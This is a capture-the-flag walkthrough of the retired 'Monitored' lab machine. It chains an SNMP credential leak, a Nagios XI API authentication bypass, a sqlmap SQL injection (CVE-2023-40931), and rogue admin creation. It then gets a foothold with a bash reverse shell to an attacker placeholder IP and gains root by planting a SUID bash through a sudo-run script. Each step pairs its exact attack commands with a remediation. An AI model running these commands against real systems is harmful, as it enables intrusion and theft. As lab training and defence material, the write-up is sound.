← all walkthroughs

Monitored

Linux· Medium
owned
2026-09-03
time to own
44m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I paired a full TCP scan with a UDP sweep against $TARGET and found an exposed SNMP service still using the default '[REDACTED: recovered credential]' community string alongside a Nagios XI monitoring console. Walking the SNMP process table leaked a plaintext password for a service account and the exact sudo command that used it. Because Nagios XI's REST API does not check whether an account is disabled, that leaked password authenticated an API session that a SQL-injection flaw (CVE-2023-40931) then used to steal the built-in administrator's API key.

The stolen key created a rogue admin account, which was used to define a malicious monitoring 'check command' that Nagios executed as the nagios service user for a reverse shell. From there, an overly broad sudo rule letting nagios run Nagios XI's maintenance scripts as root was abused to plant a SUID root shell, completing full compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Scanned TCP and UDP services and identified the Nagios XI console
A standard TCP scan found SSH, HTTP/HTTPS, LDAP and an NSCA listener, but the critical finding only appeared on a UDP sweep: SNMP on port 161. The HTTPS certificate and web content identified the site as a Nagios XI monitoring installation, requiring the hostname to be mapped locally to reach it by name.
Nmap UDP scan: '161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server ([REDACTED: recovered credential])'; curl against /nagiosxi returned the Nagios XI login page.
Exact commands 3
TCP service scan
nmap -sV -p22,80,389,443,5667 $TARGET
UDP scan finds the SNMP service most scans skip
sudo nmap -Pn -sU -p161 -sV --script snmp-info $TARGET
Map the vhost referenced in the site's TLS certificate
echo "$TARGET monitored.htb nagios.monitored.htb" | sudo tee -a /etc/hosts
2Initial AccessSNMP information disclosure via default community string
Read a plaintext credential and a sudo rule off unauthenticated SNMP
The SNMP daemon accepted the default read-only community string '[REDACTED: recovered credential]' with no source restriction. Walking the process-table MIB exposed a live cron job's full command line, which included a hard-coded username and password for a 'svc' account plus the exact sudo invocation that used them.
Snmpbulkwalk returned: 'sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc [REDACTED: recovered credential]'
Exact commands 1
Dump the HOST-RESOURCES-MIB process table; the cron command line leaks the credential
snmpbulkwalk -v2c -c $PASSWORD3 -On $TARGET . | grep -E "svc|$PASSWORD"
FixLock down SNMP: change the default community string and restrict source accessCritical
WeaknessSNMP on UDP/161 accepted the factory-default read-only community string '[REDACTED: recovered credential]' from any source, letting an unauthorised user dump the full process table and read a hard-coded credential and sudo command straight out of a running cron job.
FixChange the community string to a strong, unique value (or migrate to SNMPv3 with authentication and encryption), restrict SNMP access to specific management hosts via firewall/ACL, and stop passing secrets as command-line arguments to scheduled jobs — read them from a protected file or environment instead.
3Initial AccessAuthentication logic bypass via an alternate API path (T1078 - Valid Accounts)
Authenticated as the disabled 'svc' account through the Nagios XI REST API
The 'svc' account was disabled in the web UI, so the normal login form rejected its credentials. The separate REST API authentication endpoint, however, never checks the disabled flag and issued a valid session token for the same account.
POST /nagiosxi/api/v1/authenticate with svc:[REDACTED: recovered credential] succeeds where the web login form fails.
Exact commands 1
Valid_min=500 keeps the token alive long enough for the slow blind SQLi in the next step
curl -sk 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate' --data-urlencode 'username=svc' --data-urlencode "password=$PASSWORD" --data-urlencode 'valid_min=500'
FixEnforce account status checks consistently across all authentication pathsHigh
WeaknessThe Nagios XI web login form correctly rejected the disabled 'svc' account, but the separate REST API authentication endpoint did not check the same disabled flag, giving an unauthorised user a working path around an account that had already been locked out.
FixEnforce identical account-status, lockout, and password-policy checks in every authentication entry point (web UI, REST API, any internal service auth), and disable or scope-limit REST API authentication for accounts that are not meant to use it.
4ExploitationSQL Injection - CVE-2023-40931
Exploited an authenticated SQL injection to steal the admin API key
The banner_message-ajaxhelper.php endpoint passed the 'id' parameter into a SQL query without sanitization (CVE-2023-40931). Using the svc session token, a time-based blind SQL injection extracted the built-in nagiosadmin account's API key straight out of the database.
Target endpoint: POST /nagiosxi/admin/banner_message-ajaxhelper.php, action=acknowledge_banner_message&id=3&token=<svc_token>
Exact commands 1
Time-based blind SQLi, narrowed to the one column needed to keep it fast
sqlmap -u 'https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php' --data 'action=acknowledge_banner_message&id=3&token=<SVC_API_TOKEN>' -p id --dbms=MySQL --batch --threads 10 -D nagiosxi -T xi_users -C api_key --dump
FixPatch Nagios XI against the authenticated SQL injection (CVE-2023-40931)Critical
WeaknessThe banner_message-ajaxhelper.php endpoint built a SQL query from the unsanitized 'id' parameter, letting any authenticated session — even a low-value service account — extract arbitrary database contents, including the primary administrator's API key.
FixUpgrade Nagios XI to a version that includes the fix for CVE-2023-40931, and in general use parameterized queries/prepared statements for all database access rather than string-concatenated SQL.
5Privilege Escalation (application)Account manipulation via stolen API key (T1136 - Create Account)
Used the stolen admin API key to create a rogue administrator account
The nagiosadmin API key alone cannot drive the web UI, so it was used against the user-management API to silently create a brand-new admin-level account, which was then used to log in normally and accept the mandatory license agreement that unlocks a full session.
New account 'pwn' created via /nagiosxi/api/v1/system/user; nagiosxi session cookie issued after login.php + license acceptance.
Exact commands 3
Create a full admin account with the stolen API key
curl -sk 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=<STOLEN_API_KEY>&pretty=1' -d 'username=pwn&password=$PASSWORD2&name=pwn&email=pwn@monitored.htb&auth_level=admin&force_pw_change=0'
Harvest the anti-CSRF 'nsp' token from the login form
curl -skS -c cookies.txt -b cookies.txt 'https://nagios.monitored.htb/nagiosxi/login.php' | grep -iE '<input'
Log in as the rogue admin account
curl -skS -L -c cookies.txt -b cookies.txt 'https://nagios.monitored.htb/nagiosxi/login.php' --data-urlencode 'nsp=<NSP_TOKEN>' --data-urlencode 'page=auth' --data-urlencode 'pageopt=login' --data-urlencode 'username=pwn' --data-urlencode 'password=$PASSWORD2' --data-urlencode 'loginButton=Login'
FixRestrict what a bare API key can do, especially account creationHigh
WeaknessPossessing only the primary administrator's API key was sufficient to silently create a brand-new, fully privileged admin account with no additional verification or notification, turning one leaked key into permanent, self-service admin access.
FixRequire step-up authentication (e.g., re-entering a password or MFA) for sensitive API actions like account creation and privilege changes, alert on new admin account creation, and rotate/revoke API keys regularly or scope them to the minimum operations they need.
6FootholdAbuse of legitimate monitoring configuration for command execution (T1059 - Command and Scripting Interpreter)
Defined a malicious monitoring check-command to gain code execution as the nagios user
As a full administrator, I used Nagios XI's Core Config Manager (Commands) to register a new check command whose command line was a bash reverse shell, applied the configuration, then triggered it. Nagios executes configured check commands as the local 'nagios' service account, so running the check returned a shell.
Id after the callback returned 'uid=1001(nagios) gid=1001(nagios) groups=1001(nagios),1002(nagcmd)'
Exact commands 4
Define the malicious command via the config API (equivalently: Configure > Core Config Manager > Commands > Add New in the UI)
curl -sk 'https://nagios.monitored.htb/nagiosxi/api/v1/config/command?apikey=<API_KEY>&pretty=1' -d 'command_name=pwn-revshell' -d "command_line=/bin/bash -c 'bash -i >&/dev/tcp/$ATTACKER_IP/443 0>&1'"
Listener for the callback; must be running before the check is triggered
nc -lvnp 443
Executes the reverse shell as the nagios user
# In the UI: click 'Apply Configuration' (required or the command is never written to the live config), then open the command and 'Run Check Command'
Prove the foothold: uid=1001(nagios)
id
FixTreat monitoring check-command configuration as code execution and restrict it accordinglyHigh
WeaknessAny Nagios XI administrator can define a check command's command line arbitrarily, and the monitoring engine executes that command line as the local nagios service account — meaning admin-panel access is equivalent to remote code execution with no additional control.
FixLimit Core Config Manager / command-definition access to a small, audited set of trusted administrators, log and alert on new or modified command definitions, and run the monitoring engine under a hardened, minimally-privileged account with restricted filesystem and network access.
7Privilege Escalation (root)Sudo privilege escalation via writable root-executed script (T1548.003 - Sudo and Sudo Caching)
Abused a root sudo rule over Nagios XI's own maintenance scripts to plant a SUID root shell
Sudo -l for nagios showed passwordless root rights over Nagios XI's own service-management scripts and legacy init scripts. Those root-run scripts start binaries that live in a directory nagios itself owns, so nagios overwrote one of those binaries with a script that grants the SUID bit to /bin/bash, then had the root-run wrapper 'start' the poisoned binary.
Sudo -n -l: 'User nagios may run ... (root) NOPASSWD: /etc/init.d/nagios start|stop|restart|reload ...' plus NOPASSWD rights on /usr/local/nagiosxi/scripts/*; find / -perm -4000 confirmed no simpler SUID shortcut existed.
Exact commands 7
Confirm nagios can run Nagios XI maintenance scripts and init.d/nagios as root with NOPASSWD
sudo -n -l
Back up the binary before overwriting it
cp /usr/local/nagios/bin/npcd /tmp/npcd.bak
Stop the service so the binary can be replaced
sudo /usr/local/nagiosxi/scripts/manage_services.sh npcd stop
Replace the nagios-owned binary the root script will start
printf '#!/bin/bash\nchmod 6777 /bin/bash\n' > /usr/local/nagios/bin/npcd && chmod +x /usr/local/nagios/bin/npcd
Root-owned script starts the poisoned binary, setting SUID on /bin/bash
sudo /usr/local/nagiosxi/scripts/manage_services.sh npcd start
Drop into a root shell
/bin/bash -p
Prove root (uid=0) before reading the flag; replace with <root.txt>
id && cat /root/root.txt
FixRemove the overly broad sudo rule on Nagios XI's maintenance scriptsCritical
WeaknessThe nagios account had passwordless sudo rights to run Nagios XI's own maintenance/service scripts as root, and those root-run scripts started binaries stored in a directory that the low-privileged nagios account could write to, letting nagios trojan a binary and have root execute it.
FixRemove blanket NOPASSWD sudo rules over scripts that touch nagios-writable paths; if root-level service management is required, use a wrapper that runs with a fixed, root-owned, non-writable binary path, and apply the principle of least privilege so nagios cannot write to any file or directory that a root-run process will later execute.

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
389/tcp
443/tcp
5667/tcp
161/udp